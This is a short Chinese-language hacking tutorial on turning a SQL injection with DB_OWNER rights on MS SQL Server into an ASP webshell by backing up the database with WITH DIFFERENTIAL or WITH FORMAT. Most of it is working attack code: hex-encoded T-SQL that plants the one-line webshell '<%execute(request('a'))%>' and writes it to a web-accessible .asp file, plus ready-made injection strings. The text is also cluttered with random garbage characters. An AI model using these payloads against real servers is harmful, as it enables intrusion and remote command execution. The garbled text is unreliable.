DB_OWNER权限得到webshell的改进办法

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DB_OWNER权限得到webshell的两点改进:
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减少备份文件大小，得到可执行的webshell成功率提高不少
' {1 g9 W" {4 S) M* U7 c8 q一利用差异备份
: g/ ?+ K3 U0 [加一个参数WITH DIFFERENTIAL

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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
6 I3 n$ a$ @& R# Gcreate table [dbo].[xiaolu] ([cmd] [image]);
/ V- T5 s' Z4 Q# J# ?7 Xinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

  w; W  `2 X; b( t: p, O& n3 U二利用完全FORMAT
加一个参数WITH FROMAT
! p* a; b7 D7 @0 a( G  }( I有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
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# }6 O# O# L9 s7 e# N1 X5 K declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
9 P! z) g! _0 D5 }declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
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总的来说就是那么简单几句,下面以备份数据库model为例子
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" v" r! \, w0 U! o( a id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
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0 i* m7 w4 j0 u0 ?9 Z4 X5 ] id=1;backup database model to disk='你的路径‘ with differential,format;--
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